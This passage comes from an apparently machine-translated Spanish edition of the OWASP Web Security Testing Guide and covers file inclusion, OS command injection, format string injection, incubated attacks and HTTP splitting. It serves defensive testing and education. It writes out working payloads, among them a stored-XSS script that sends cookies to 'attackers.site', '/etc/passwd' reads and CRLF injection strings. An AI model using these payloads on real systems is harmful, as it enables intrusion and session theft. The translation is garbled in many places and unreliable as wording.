../avatar/target.jpg , aproveche el
vulnerabilidad con el contenedor PHP ZIP por inyectando lo siguiente carga útil a la URL
vulnerable:
zip://../avatar/target.jpg%23code ( recuerda ese %23 corresponde a # ) .
Desde en nuestro muestra el . PHP extensión es concatenado a nuestro carga útil , la solicitud a
http://vulnerable_host/preview.php?file=zip: //../avatar/target.jpg%23code resulta en la

ejecución del
archivo code.php existente en el archivo ZIP malicioso .
Datos PHP
Disponible desde PHP 5.2.0, esto envoltura espera lo siguiente uso :

datos://text/plain;base64,BASE64_STR donde
BASE64_STR es esperado para ser codificado en Base64 contenido del expediente a tramitar . Es
importante a considerar eso
este envoltura haría solo estar disponible si la opción permitir_url_incluir estaría habilitado .
En orden para probar el LFI usando este envoltorio , el código ser ejecutado debe estar codificado
en Base64 , por ejemplo , el <? PHP
phpinfo ( ); ?> código se codificaría como : PD9waHAgcGhwaW5mbygpOyA/ Pg == entonces la

carga útil haría resultado como:
datos://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg= = .
PHP esperar
Este envoltura , que es no activado por defecto, proporciona acceso a procesos estadio , salida
estándar y stderr . esperando
para ser utilizado como expect://command lo haría el servidor ejecutar lo proporcionado dominio
en BASH y regresar es resultado .
Remediación
lo mas eficaz solución a eliminar la inclusión de archivos vulnerabilidades es a Evite pasar

información enviada por el usuario a cualquier
de sistema de archivos / marco . Si este es no posible que la aplicación pueda mantener un

permitir lista de archivos, que puede ser incluido
por la página y luego use un identificador ( para ejemplo el índice número ) a acceso al archivo
seleccionado . Cualquier pedido
que contiene un inválido El identificador debe ser rechazado , en este caso forma allá no es un
ataque superficie para malicioso usuarios a
manipular el camino .
Controlar salir de la carga de archivos Engañar Hoja para bien seguridad practicas en este tema .
Herramientas
kadimus
Suite LFI
Zed OWASP Proxy de ataque (ZAP)
Referencias
Wikipedia
Nulo personaje
Codificación Unicode
306
Doble Codificación
Compatible con PHP Protocolos y envoltorios
esquema de URL de "datos"
307
Pruebas para la inclusión remota de archivos
Resumen
inclusión del archivo vulnerabilidad permite un agresor a incluir un archivo, generalmente

explotando una “ inclusión dinámica de archivos ”
mecanismos implementado en la aplicación de destino . la vulnerabilidad ocurre pendiente al uso

de entrada proporcionada por el usuario
sin adecuado validación .
Esto puede llevar a algo como generar el contenido del archivo, pero dependiente Según la
gravedad , también puede provocar :
Código ejecución en el servidor web
Código ejecución en el lado del cliente como JavaScript , que puede conducir a otro ataques como
secuencias de comandos entre sitios
(XSS)
Negación de Servicio (DoS)
Información sensible Divulgación
Inclusión remota de archivos ( también conocido como RFI) es el proceso de incluyendo archivos
remotos a través de la explotación de vulnerable
inclusión procedimientos implementado en la aplicación . Este vulnerabilidad ocurre , por Por

ejemplo , cuando una página recibe , como
entrada, el camino al archivo que se debe incluir y esta entrada es no adecuadamente

desinfectado , permitiendo URL externa para ser
inyectado . A pesar de mayoría ejemplos punto a scripts PHP vulnerables , nosotros debería tenga
en cuenta eso él es también común en
otro tecnologías como JSP, ASP y otros .
Cómo Probar
Desde que ocurre la RFI cuando caminos aprobado " incluir " declaraciones no son adecuadamente
desinfectado , en una prueba de caja negra
acercarnos , nosotros debería buscar scripts que llevar nombres de archivos como parámetros .
Considere el siguiente ejemplo de PHP :
$ incfile = $_REQUEST["archivo"];
incluir ($ incfile .". php ");
En esto ejemplo el camino es extraído de la solicitud HTTP y sin validación de entrada está hecho
( para ejemplo , por comprobación
la entrada contra un permitir lista ), por lo que esto retazo de código resultados vulnerables a este
tipo de ataque . Considera lo siguiente
URL:
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page
En este caso el archivo remoto es yendo a incluir y cualquier código contenido en él es yendo para
ser ejecutado por el servidor.
Remediación
lo mas eficaz solución a eliminar la inclusión de archivos vulnerabilidades es a Evite pasar

información enviada por el usuario a cualquier
de sistema de archivos / marco . Si este es no posible que la aplicación pueda mantener un

permitir lista de archivos, que puede ser incluido
por la página y luego use un identificador ( para ejemplo el índice número ) a acceso al archivo
seleccionado . Cualquier pedido
que contiene un inválido El identificador debe ser rechazado , en este caso forma allá no es un
ataque superficie para malicioso usuarios a
manipular el camino .
Referencias
Inclusión remota de archivos ”
Wikipedia: “ Inclusión remota de archivos ”
308
Pruebas para Dominio Inyección
IDENTIFICACIÓN
WSTG-INPV-12
Resumen
Este artículo describe cómo para probar un solicitud para el comando del sistema operativo
inyección . el probador tratará de inyectar un comando del sistema operativo
a través de una solicitud HTTP a la aplicación .
comando del sistema operativo inyección es una técnica usado a través de una interfaz web para a
ejecutar comandos del sistema operativo en un servidor web. El
usuario suministros operando sistema comandos a través de una interfaz web para a ejecutar
comandos del sistema operativo . cualquier web
interfaz que es no adecuadamente desinfectado es sujeto a este explotar . con la capacidad a
ejecutar comandos del sistema operativo , el usuario puede
subir malicioso programas o incluso obtener contraseñas . comando del sistema operativo
inyección es evitable cuando seguridad es
enfatizado durante el diseño y desarrollo de aplicaciones .
Identificar y evaluar el comando. inyección puntos .
Cómo Probar
Cuando Al ver un archivo en una aplicación web , el nombre del archivo. es a menudo se muestra
en la URL. Perl permite datos de tuberías de un
proceso en una declaración abierta . El usuario puede simplemente agregue el símbolo de tubería
| hasta el final del nombre del archivo .
URL de ejemplo antes alteración :
http://sensible/cgi-bin/userData.pl?doc=user1.txt
URL de ejemplo modificada :
http://sensible/cgi-bin/userData.pl?doc=/bin/ls|
Este voluntad ejecuta el comando / bin / ls .
Agregar un punto y coma hasta el final de una URL para una página .PHP seguida por un operando
sistema comando , voluntad ejecutar
El comando . %3B está codificado en URL y decodifica a punto y coma
Ejemplo :
http://sensible/algo.php?dir=%3Bcat%20/etc/passwd
Ejemplo
Consideremos el caso de un solicitud eso contiene un conjunto de documentos eso puedes

navegar desde Internet. Si tú quémalo
un proxy personal ( como ZAP o Burp Suite), puedes obtener un POST HTTP como el siguiente
( http://www.example.com/public/doc ):
POST / público / doc HTTP/1.1
[...]
Referencia : http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Autorización : Básica T2Vbc1Q9Z3V2Tc3e=
309
Longitud del contenido : 33
Doc=Doc1.pdf
En esta solicitud de publicación , nosotros aviso cómo la aplicación recupera el publico

documentación . Ahora podemos probar si él es posible
a agregar un operando sistema dominio a inyectar en el POST HTTP. Prueba lo siguiente
( http://www.example.com/public/doc ):
POST / público / doc HTTP/1.1
[...]
Referencia : http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Autorización : Básica T2Vbc1Q9Z3V2Tc3e=
Longitud del contenido : 33
Doc =Doc1.pdf+|+ Dir c:\
Si la aplicación no validar la solicitud , podemos obtener lo siguiente resultado :
ejecutivo Resultados para 'cmd.exe /c escriba "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
Producción...
Illinois volumen nell'unità C non ha etichetta .
Número de serie Del volumen : 8E3F-4B61
Directorio De c:\
18/10/2006 00:27 2.675 Dir_Prog.txt
10/18/2006 00:28 3.887 Dir_ProgFile.txt
16/11/2006 10:43
Doc
11/11/2006 17:25
documentos y configuraciones
25/10/2006 03:11
I386
14/11/2006 18:51
h4ck3r
30/09/2005 21:40 25.934
OWASP1.JPG
11/03/2006 18:29
Progreso
18/11/2006 11:20
Archivos de programa
16/11/2006 21:12
Software
24/10/2006 18:25
Configuración
24/10/2006 23:37
Tecnologías
18/11/2006 11:14
3 Archivo 32.496 bytes
13 Directorio 6.921.269.248 bytes disponibles
Devolver código : 0
En este caso, nosotros tener exitosamente realizado una inyección de sistema operativo ataque .
Especial Caracteres para comando Inyección
La siguiente especial el personaje puede ser usado para dominio inyección como por ejemplo | ;
&$><'!
cmd1|cmd 2 : Usos de | voluntad hacer comando 2 a ejecutar clima ejecución del comando 1 es
exitoso o no .
cmd 1;cmd 2: Usos de ; voluntad hacer comando 2 a ejecutar clima ejecución del comando 1 es
exitoso o no .
310
cmd1||cmd2 : El comando 2 sólo ser ejecutado si ejecución del comando 1 falla .
cmd1 y cmd 2: El comando 2 sólo ser ejecutado si ejecución del comando 1 tiene éxito .
$( cmd ): Para ejemplo , echo $( whoami ) o $( touch test.sh; echo ' ls ' > test.sh)
cmd : Es usado a ejecutar específico dominio . Para ejemplo , whoami
>( cmd ) : >( ls )
<( cmd ): <( ls )
Código Revisar API peligrosa
ser consciente de los usos de siguiente API como puede introducir el comando inyección riesgos .
Java
tiempo de ejecución.exec ()
C/C++
sistema
ejecutivo
ShellEjecutar
Pitón
ejecutivo
evaluar
sistema operativo
os.popen
subproceso.popen
subproceso.llamada
PHP
sistema
shell_exec
ejecutivo
proc_abierto
evaluar
Remediación
Sanitización
La URL y los datos del formulario necesitan ser desinfectado para inválido caracteres . una
negación lista de caracteres es un opción pero él tal vez
difícil a pensar de todo de los personajes a validar contra . También allá talvez algo eso eran no
descubierto a partir de todavía .
Un permitir lista que contiene solo admisible caracteres o dominio lista debe ser creado a validar
la entrada del usuario .
Caracteres eso eran perdidos y no descubiertos amenazas , deben ser eliminadas por este lista .
negación general lista ser incluido para dominio inyección puede ser | ; &$><'\! >>#
escapar o filtrar especial caracteres para ventanas , () <> & *' | = ? ; [ ] ^ ~ ! . "%@/\
: + , ` Escapar o filtrar especial caracteres para Linux, { } ( ) > < & * ' | = ? ; [ ] $ – # ~
!."%/\:+,`
Permisos
La aplicación web y su componentes debería estar funcionando bajo estricto permisos eso no
permitir operando sistema
dominio ejecución . Intentar verificar todo este información para probar desde una prueba de caja
gris punto de vista .
311
Herramientas
OWASP WebCabra
Commix
Referencias
Penetración Pruebas para aplicaciones web ( parte Dos )
Comando del sistema operativo
CWE-78: Incorrecto Neutralización de Especial Elementos utilizado en un comando del sistema

operativo (' comando del sistema operativo Inyección ')
ENV33-C. No llamar sistema ( )

312
Pruebas para desbordamiento de búfer
IDENTIFICACIÓN
WSTG-INPV-13
Este el contenido ha sido eliminado
313
Pruebas para Formato Cadena Inyección
IDENTIFICACIÓN
WSTG-INPV-13
Resumen
un formato cadena es terminado en nulo personaje secuencia eso también contiene conversión
especificadores interpretado o
convertido en tiempo de ejecución . Si es del lado del servidor código concatena la entrada de un
usuario con un formato cuerda , un el atacante puede agregar
adicional conversión especificadores para causar un error de tiempo de ejecución , información

divulgación o desbordamiento del buffer .
El peor caso para formato instrumentos de cuerda vulnerabilidades ocurren en idiomas eso no
controlar argumentos y también incluir un %n
especificador eso escribe a memoria . Estos funciones , si explotado por un agresor modificando
un formato cuerda , podría causar
información divulgación y código ejecución :
C y C++ printf y métodos similares fprintf , sprintf , snprintf
Perl printf y sprintf
Estos formato cadena funciones no puedo escribir a memoria , pero Los atacantes aún pueden
causar información. divulgación por cambiando
formato instrumentos de cuerda para generar valores los desarrolladores hizo no pretender a
enviar :
Python 2.6 y 2.7 str.format y Python 3 unicode str.format se puede modificar por inyectando
instrumentos de cuerda que puede señalar a
otras variables en la memoria

La siguiente formato cadena Las funciones pueden causar tiempo de ejecución. errores si el
atacante agrega conversión especificadores :
Java String.formato y PrintStream.formato
impresión PHP
El código patrón eso provoca un formato cadena vulnerabilidad es una llamada a una cuerda
formato función eso contiene no desinfectado
del usuario . La siguiente El ejemplo muestra cómo una depuración imprimirf podría hacer que un
programa sea vulnerable:
El ejemplo en C:
char * nombre de usuario = /* entrada del usuario revisado campo */;
printf ( "DEBUG Actual usuario : ");
// Depuración de vulnerabilidades código
printf ( nombre de usuario );
El ejemplo en Java:
cadena final nombre de usuario = /* entrada del usuario revisado campo */;
System.out.printf ("DEPURACIÓN actual usuario : ");
// código vulnerable :
System.out.printf ( nombre de usuario );
En este ejemplo particular , si el atacante configuró su nombre de usuario a tener uno o más
conversión especificadores , hay sería
no deseado comportamiento . El ejemplo C haría imprimir afuera memoria contenido si nombre

de usuario contenía % p%p%p%p % p , y puede
corrupto memoria contenido si allá es un %n en la cadena . En el ejemplo de Java , un nombre de

usuario que contiene cualquier especificador eso
314
necesidades una entrada ( incluyendo %x o % s ) causaría el programa a chocar con Excepción de

formato ilegal . Aunque el
todavía hay ejemplos sujeto a otro problemas , la vulnerabilidad se puede solucionar por imprimirf
argumentos de printf ( "DEPURAR
Actual usuario : %s", nombre de usuario ).
Evaluar si inyectando formato cadena conversión especificadores en controlado por el usuario
campos causan indeseados
comportamiento de la aplicación .
Cómo Probar
Pruebas incluir análisis del código e inyectando conversión especificadores como entrada del
usuario a la aplicación bajo prueba.
Estático Análisis
Estático análisis herramientas pueden encontrar formato cadena vulnerabilidades en el código o

en binarios. Ejemplos de herramientas incluir :
C y C++: Buscador de fallos
Java: regla FindSecurityBugs FORMAT_STRING_MANIPULATION
PHP: cadena formateador Analizador en phpsa
Código Manual Inspección
Estático análisis puede pasar por alto casos más sutiles , incluidos formato instrumentos de cuerda
generado por complejo código . Buscar
vulnerabilidades manualmente en una base de código , un evaluador puede buscar todo llamadas
en el código base eso aceptar un formato cuerda y
rastrear hasta hacer seguro la entrada que no es de confianza no puede cambiar el formato
cadena .
Conversión Especificador Inyección
Los probadores pueden verificar en la prueba unitaria o en el nivel de prueba del sistema
completo . por enviando conversión especificadores en cualquier entrada de cadena . Borrar el
programa usando todo de la conversión especificadores para todo idiomas el sistema usos bajo
prueba. Ver el formato OWASP
cadena página de ataque para posibles insumos a utilizar. Si la prueba falla , el programa voluntad
chocar o mostrar un salida inesperada . Si
la prueba pasa , el intento a enviar una conversión especificador debe ser bloqueado , o la cadena
debería ir a través de
sistema sin problemas como con cualquier otro entrada válida .
Los ejemplos a continuación subsecciones tener una URL de este forma :
https://vulnerable_host/userinfo?username=x
El usuario controlado valor es x ( para el nombre de usuario parámetro ).

Inyección manual
Los evaluadores pueden realizar una prueba manual utilizando un navegador web o otra
depuración de API web herramientas . Navegar a la web
solicitud o sitio tal que la consulta tenga conversión especificadores . Tenga en cuenta que
mayoría conversión especificadores necesidad codificación si
enviado dentro de una URL porque ellos contener especial caracteres incluyendo % y { . La prueba
puede introducir una cadena. de
especificadores % s%s%s%n por hojeada con la siguiente URL:
https://vulnerable_host/userinfo?username=%25s%25s%25s%25n
Si el sitio web es vulnerable, el navegador o herramienta debería recibir un error, que puede
incluir un tiempo de espera o un retorno HTTP
código 500.
código Java devuelve el error
java.util .MissingFormatArgumentException : Formato especificador '%s'
Dependiente sobre la implementación de C , el proceso puede chocar completamente con

Segmentación Falla .
Asistido por herramienta Fuzzing
315
Fuzzing herramientas incluido wfuzz puede automatizar inyección pruebas . Para wfuzz , empieza
con un archivo de texto (fuzz.txt en este ejemplo ) con
una entrada por línea:
fuzz.txt:
Alicia
% s%s%s%n
% p%p%p%p%p
{ evento ._ _ init __.__ globals __[CONFIG][SECRET_KEY]}
El archivo fuzz.txt contiene lo siguiente :
Una entrada válida alicia a verificar que la aplicación pueda procesar una entrada normal
Dos instrumentos de cuerda con C- como conversión especificadores
Una conversión de Python especificador a intentar a leer variables globales

Para enviar el archivo de entrada de fuzzing a la aplicación web bajo prueba, utilice lo siguiente
dominio :
wfuzz -c -z archivo, fuzz.txt , código de URL https://vulnerable_host/userinfo?username=FUZZ
en lo anterior llamar , el código de URL argumento permite la adecuada escapando para las
cuerdas y FUZZ ( con mayúscula
letras ) le dice a la herramienta dónde para introducir las entradas.
Un El resultado del ejemplo es el siguiente
Líneas de respuesta de ID Caracteres de palabras Carga útil
==================================================== ==================
000000002: 500 0 L 5 W 142 Canal "%25s%25s%25s%25n"
000000003: 500 0 L 5 W 137 Canal "%25p%25p%25p%25p%25p"
000000004: 200 0 L 1 W 48 canales
"%7 Bevent._ _init__.__globals__%5BCONFIG%5D%5BSECRET_KEY%5D%7D"
000000001: 200 0 L 1 W 5 Ch " alicia "
Lo anterior resultado valida la aplicación debilidad a la inyección de C- como conversión

especificadores %s y % p .
316
Pruebas para incubado Vulnerabilidad
IDENTIFICACIÓN
WSTG-INPV-14
Resumen
También a menudo referido a tan persistente ataques , incubados pruebas es un complejo

pruebas método eso necesita más que uno
validación de datos vulnerabilidad a trabajar . incubado Las vulnerabilidades suelen ser usado a
realizar “ riego ataques de agujero
contra usuarios de aplicaciones web legítimas .
incubado vulnerabilidades tener lo siguiente características :
El vector de ataque necesita para persistir en primer lugar , necesidades para ser almacenado en la
persistencia capa , y esto
haría solo ocurrir si validación de datos débil era presente o llegaron los datos en el sistema a
través de otro canal semejante
como un administración consola o directamente a través de un backend lote proceso .
En segundo lugar , una vez que se “ recuperó ” el vector de ataque , el vector necesidad ser
ejecutado exitosamente . Para ejemplo ,
un ataque XSS incubado haría requerir validación de salida débil para que se entregue el script al
cliente en su
ejecutable forma .
Explotación de alguno vulnerabilidades , o incluso funcional características de una aplicación web ,

será permitir un agresor a plantar un
pedazo de datos que voluntad más tarde ser recuperado por un nada suspicaz usuario o otro
componente del sistema , explotando alguno
vulnerabilidad allá .
En una prueba de penetración , se incuba Se pueden utilizar ataques . a evaluar la criticidad de

ciertos errores, usando el particular
seguridad asunto encontró a construir un lado del cliente basado ataque eso generalmente se
utilizará para apuntar a una gran número de víctimas en el
mismo tiempo (es decir, todos usuarios navegando por el sitio).
Este tipo de asincrónico ataque cubre una gran espectro de ataque vectores , entre ellos lo
siguiente :
Subir archivo componentes en una aplicación web , permitiendo al atacante a subir archivos
multimedia corruptos ( imágenes JPEG
explotando CVE-2004-0200 , imágenes PNG explotando CVE-2004-0597, archivos ejecutables ,

páginas del sitio con activo
componente , etc).
Problemas de secuencias de comandos entre sitios en público publicaciones en foros ( ver Pruebas
para Secuencias de comandos entre sitios almacenadas para adicional detalles ).
Un agresor podría potencialmente almacenar scripts maliciosos o código en un repositorio en el

backend de la aplicación web
( p. ej ., una base de datos ) para que este script/ código obtiene ejecutado por uno de los usuarios
( final usuarios , administradores , etc ). El
arquetípico incubado ataque es ejemplificado por utilizando una vulnerabilidad de secuencias de

comandos entre sitios en un usuario foro , boletín
tablero o blog en orden a inyectar algún código JavaScript en la página vulnerable, y
eventualmente será renderizado y
ejecutado en el navegador del usuario del sitio – utilizando el nivel de confianza del sitio original
(vulnerable) en el navegador del usuario .
Inyección SQL/XPATH permitiendo al atacante a subir contenido a una base de datos , que Será
más tarde recuperado como parte de
contenido activo en una página web. Para Por ejemplo , si el atacante puede publicar JavaScript
arbitrario en un boletín tablero así
eso él obtiene ejecutado por usuarios , entonces él podría tomar control de sus navegadores ( por
ejemplo , XSS-proxy).
Servidores mal configurados que permiten instalación de paquetes Java o componentes similares
del sitio web (es decir, Tomcat o web
consolas de alojamiento como Plesk, CPanel , Helm, etc.)
Identificar inyecciones que están almacenados y requieren un paso de recuperación al almacenado

inyección .
Entender cómo podría un paso de retirada ocurrir .
Establecer oyentes o active el paso de recuperación si posible .
317
Cómo Probar
Subir archivo Ejemplo
Verificar el contenido tipo permitido a subir a la aplicación web y la URL resultante para el archivo
cargado . Sube un
archiva eso voluntad explotar un componente en el usuario local puesto de trabajo cuando visto o
descargado por el usuario . Enviar su
víctima un correo electrónico o otro amable de alerta en orden guiarlo / ella a navegar por la
página. Lo esperado resultado es la hazaña voluntad
ser activado cuando el usuario navega por la página resultante o descarga y ejecuta el archivo
desde el sitio de confianza .
Ejemplo XSS en un boletín Junta
1. Introduzca el código JavaScript como valor. para el campo vulnerable , para instancia
<script> document.write ('< img
src="http://attackers.site/cv.jpg?'+document.cookie+'">')</script>
2. Usuarios directos a navegar por la página vulnerable o esperar para los usuarios a navegar él .
Tener un " oyente " en attackers.site
anfitrión escuchando para todo entrante conexiones .
3. Cuando usuarios navegar por la página vulnerable, una solicitud que contiene su cookie
( documento .cookie es incluido como parte
de la URL solicitada ) se enviará al host de attackers.site , como por ejemplo: GET /cv.jpg?
Iniciar sesión =COOKIEVALUE 1;% 20ASPSESSIONID=ROGUEIDVALUE; HTTP/1.1
4. Utilizar cookies obtenidas a personificar usuarios en el sitio vulnerable.
Inyección SQL Ejemplo
Generalmente , este conjunto de ejemplos aprovecha los ataques XSS por explotando una
inyección SQL vulnerabilidad . La primera cosa probar es
si el sitio de destino tiene una inyección SQL vulnerabilidad . Este es descrito en Pruebas para
inyección SQL . Para cada inyección SQL vulnerabilidad , hay es un conjunto subyacente de
restricciones describiendo el tipo de consultas que el atacante / pentester
es permitido hacer .
el probador luego tiene que coincidir con los ataques XSS que ha ideado con las entradas que el es
permitido a insertar .
De manera similar al ejemplo XSS anterior , use un campo de página web vulnerable a la inyección
SQL . asuntos a cambiar
un valor en la base de datos eso Sería usado por la aplicación como entrada para ser mostrada en
el sitio sin adecuado filtración
( este sería una combinación de una inyección SQL y un problema XSS ). Para ejemplo , vamos
suponer allá es una mesa de pie de página
en la base de datos con todo pies de página para las páginas del sitio web , incluyendo un aviso
campo con el aviso legal eso aparece en el
parte inferior de cada página web. Tú podría utilizar lo siguiente consulta a inyectar código
JavaScript al aviso campo en el
de pie de página en la base de datos .
SELECCIONAR campo1, campo2, campo3
DE tabla_x
DONDE campo2 = 'x';

ACTUALIZAR pie de página
Aviso SET = 'Copyright 1999-2030%20
<script> documento.write (\'< img src ="http://attackers.site/cv.jpg?\'+document.cookie+\'">\')
</script>'
DONDE aviso = 'Copyright 1999-2030';
Ahora , cada usuario navegar por el sitio silenciosamente enviar sus cookies al sitio de atacantes .
Servidor mal configurado
Algunos servidores web presentes un interfaz de administración que puede permitir un agresor a
cargar componentes activos de su
elección al sitio. Este podría ser el caso con un servidor Apache Tomcat que no hacer cumplir
fuerte cartas credenciales a
acceso su Administrador de aplicaciones web ( o si los probadores de pluma tener estado capaz a
obtener válido cartas credenciales Para el
módulo de administración por otro medio ).
En este caso, se puede cargar un archivo WAR y crear una nueva aplicación web. desplegados en el
lugar, que voluntad no solo permitir el
probador de pluma a ejecutar código de su elección localmente en el servidor, pero también a

planta un aplicación en el sitio de confianza , que
los usuarios habituales del sitio pueden entonces acceso ( la mayoría probablemente con un
mayor grado de confianza que cuando acceder a un diferente
sitio).
318
Como debería También será obvia la capacidad a cambiar el contenido de la página web en el
servidor, a través de cualquier vulnerabilidades eso tal vez
explotable en el host que voluntad darle al atacante raíz web escribir permisos , voluntad también
ser útil hacia plantando semejante
un incubado ataque en las páginas del servidor web ( en realidad , esto es un conocido método de
propagación de infección para algún servidor web
gusanos ).
Caja gris o prueba de caja blanca técnicas será el mismo que antes discutido .
Examinar la validación de entrada es clave para mitigar contra este vulnerabilidad . Si otro Los
sistemas de la empresa utilizan
mismo persistencia capa ellos puede tener validación de entrada débil y los datos pueden persistir
a través de una puerta trasera .
Para combatir la puerta trasera asunto para lado del cliente ataques , validación de salida debe
También se emplearán datos tan contaminados .
se codificará antes de mostrando al cliente y por lo tanto no ejecutar .
Herramientas
proxy XSS
Zed OWASP Proxy de ataque (ZAP)
Suite de eructos
metasploit
Referencias
Mayoría de las referencias de la sección Cross-site scripting son válidas . Como se explica arriba ,
incubado los ataques son
ejecutado cuando combinatorio hazañas como XSS o inyección SQL ataques .
Avisos
Aviso CERT CA-2000-02 Etiquetas HTML maliciosas integradas en solicitudes web del cliente
Blackboard Academic Suite 6.2.23 +/-: persistente vulnerabilidad de secuencias de comandos

entre sitios
Libros blancos
Amenaza del Consorcio de Seguridad de Aplicaciones Web Clasificación , secuencias de comandos

entre sitios”
319
Pruebas para división HTTP Contrabando
IDENTIFICACIÓN
WSTG-INPV-15
Resumen
Este sección ilustra ejemplos de ataques eso aprovechar específico características del protocolo
HTTP , ya sea por explotando
debilidades de la aplicación web o peculiaridades en el camino diferente agentes interpretar
mensajes HTTP . Este sección
voluntad analizar dos diferente ataques que apuntan a encabezados HTTP específicos :
división HTTP
Contrabando de HTTP
La primera ataque explota una falta de sanitización de insumos cual permite un intruso a insertar
caracteres CR y LF en el
encabezados de la respuesta de la solicitud y ' dividir ' esa respuesta en dos diferentes mensajes
HTTP . La meta del ataque
puede variar desde un envenenamiento de caché a secuencias de comandos entre sitios.
En el segundo ataque , el atacante explota el hecho eso alguno especialmente Los mensajes HTTP
elaborados se pueden analizar y
interpretado en diferentes maneras dependiente en el agente eso recibe a ellos . Contrabando de

HTTP requiere alguno nivel de
conocimiento sobre los diferentes agentes que manejan los mensajes HTTP (servidor web, proxy ,
firewall) y por lo tanto
Será incluido sólo en las pruebas de caja gris sección .
Evaluar si la aplicación es vulnerable a dividir , identificar qué posible Los ataques son posibles .
Evaluar si la cadena de comunicación es vulnerable a contrabando , identificando qué posible Los

ataques son posibles .
Cómo Probar
División HTTP
Algunas aplicaciones web utilizan parte de la entrada del usuario a generar los valores de alguno
encabezados de sus respuestas. lo mas
directo ejemplo es proporcionó por redirecciones de las que depende la URL de destino en alguno
enviado por el usuario valor .
vamos decir para instancia que el usuario es preguntó a elegir si ellos Prefiero un estándar o
interfaz web avanzada . El
elección se pasará como parámetro eso se utilizará en el encabezado de respuesta a desencadenar

la redirección hacia
correspondiente .
Más específicamente , si el parámetro 'interfaz' tiene el valor ' avanzado ', la aplicación voluntad
respuesta con lo siguiente :
HTTP/1.1 302 movido temporalmente
Fecha: domingo , 3 de diciembre de 2005, 16:22:19 GMT
Ubicación : http://victim.com/main.jsp?interface=advanced
< recorte >
Cuando recepción este mensaje , el navegador traer al usuario a la página indicada en la Ubicación
encabezado . Sin embargo , si
la aplicación hace no filtrar la entrada del usuario , será posible a inserte en el parámetro 'interfaz'
la secuencia
%0d%0a, que representa la secuencia CRLF eso es usado a separado diferente líneas . En esto
punto , probadores será capaz
a desencadenar una respuesta que se interpretará como dos diferentes respuestas por cualquiera
OMS sucede a analizar gramaticalmente esto para
instancia un caché web sentado entre Nosotros y la aplicación . Esto se puede aprovechar por un
agresor a veneno esta web
caché para que él voluntad proporcionar contenido falso en todos subsecuente peticiones .
320
vamos decir que en el anterior ejemplo el probador pasa los siguientes datos como parámetro de
interfaz :
advanced%0d%0aContent- Longitud:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aTipo
de contenido:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d% 0a<html>Lo siento,
%20System%20Down</html>
La resultante respuesta de la aplicación vulnerable voluntad por lo tanto será el siguiente :
HTTP/1.1 302 movido temporalmente
Fecha: domingo , 3 de diciembre de 2005, 16:22:19 GMT
Ubicación : http://victim.com/main.jsp?interface=advanced
HTTP/1.1 200 correcto
Contenido- Tipo : texto / html
< html > Lo siento,% 20System%20Down</ html >
< otros datos>
El caché web ver dos diferentes respuestas, por lo que si el atacante envía , inmediatamente
después del primero petición , un segundo
uno preguntando para /index.html , el caché web coincidirá con esto pedido con la segunda
respuesta y almacenar en caché su contenido , entonces
eso todo subsecuente peticiones dirigido a victim.com/index.html pasando por ese caché web
Recibe el
" sistema abajo ” mensaje . En esto manera , un agresor sería capaz a desfigurar efectivamente el
sitio para todo usuarios usando esa web
caché ( todo Internet, si el caché web es un proxy inverso para la aplicación web ).
Alternativamente , el atacante podría aprobar a aquellos usuarios un fragmento de JavaScript eso

monta un ataque de secuencias de comandos entre sitios , por ejemplo ,
a robar las galletas. Tenga en cuenta que mientras que la vulnerabilidad está en la aplicación , el
objetivo aquí es es usuarios . Por lo tanto , para
buscar este vulnerabilidad , el probador necesidades a identificar todo usuario entrada controlada
que influencias uno o más encabezados en
la respuesta y comprobar si ellos pueden exitosamente Inyecte una secuencia CR+LF en él .
los encabezados eso es lo mas candidatos probables para este ataque son:
Ubicación
Conjunto de cookies
Él debe tenerse en cuenta que un exitoso explotación de este vulnerabilidad en un mundo real El
escenario puede ser bastante complejo , ya que
varios factores debe ser tomada en cuenta :
1. El pentester debe establezca correctamente los encabezados en la respuesta falsa para él tener
éxito almacenado en caché ( por ejemplo , un último Modificado encabezamiento con fecha fijada
en el futuro). Ellos podría también tener a destruir previamente almacenado en caché versiones
del
buscapersonas de destino , por emitiendo un preliminar pedido con Pragma: sin caché en la
solicitud encabezados
2. La aplicación , mientras no filtrar la secuencia CR+LF , podría filtrar otro caracteres que son
necesarios para
exitoso ataque ( por ejemplo , < y >) . En este caso, el evaluador puede intentar utilizar otros
codificaciones ( por ejemplo , UTF-7)
3. Algunos destinos ( p. ej ., ASP) codificarán la ruta en URL parte de la Ubicación encabezado ( por
ejemplo ,
www.victim.com/redirect.asp ) , haciendo una secuencia CRLF inútil . Sin embargo , ellos fallar a
codificar la consulta
sección ( p. ej . , ?interface = advanced ), es decir que un líder pregunta marca es suficiente para
evitar esto filtración
Para una más detallada discusión acerca de este ataque y otros información acerca de posible
escenarios y aplicaciones ,
revisa los papeles referenciado en la parte inferior de este sección .
División HTTP
Un éxito explotación de la división HTTP es muy ayudó por conocimiento alguno detalles de la
aplicación web y de la
del ataque . Para Por ejemplo , diferentes objetivos pueden utilizar diferentes métodos para
decidir cuando el primer mensaje HTTP termina y
cuando el segundo empieza . Alguno usará el mensaje límites , como en el anterior ejemplo . Otros
objetivos asumir
eso diferente mensajes será llevado por diferente paquetes . Otros voluntad asignar para cada
envía un mensaje a un número de trozos
321
de predeterminado longitud : en este caso, la segunda mensaje voluntad tener a comenzar

exactamente al principio de un trozo y esto
voluntad requiere el probador usar relleno entre los dos mensajes . Este podría causar algunos
problema cuando los vulnerables
parámetro es para ser enviado en la URL, como un muy la URL larga es probable ser truncado o
filtrado . Un escenario de caja gris puede ayudar
el atacante a encontrar una solución alternativa : varias servidores de aplicaciones , para ejemplo ,
voluntad permitir la solicitud para ser enviado usando la publicación
en cambio de OBTENER.
Contrabando HTTP
Como se mencionó en la introducción , el contrabando HTTP aprovecha los diferentes maneras

que un particular HTTP elaborado
El mensaje se puede analizar e interpretar. por diferente Agentes (navegadores, cachés web ,
firewalls de aplicaciones ). Este
tipo relativamente nuevo de ataque era primero descubierto por Chaim Linhart , Amit Klein,
Ronen Heled y Steve Orrin en 2005.
Hay varios posible aplicaciones y nosotros voluntad analizar uno de los más espectacular : la
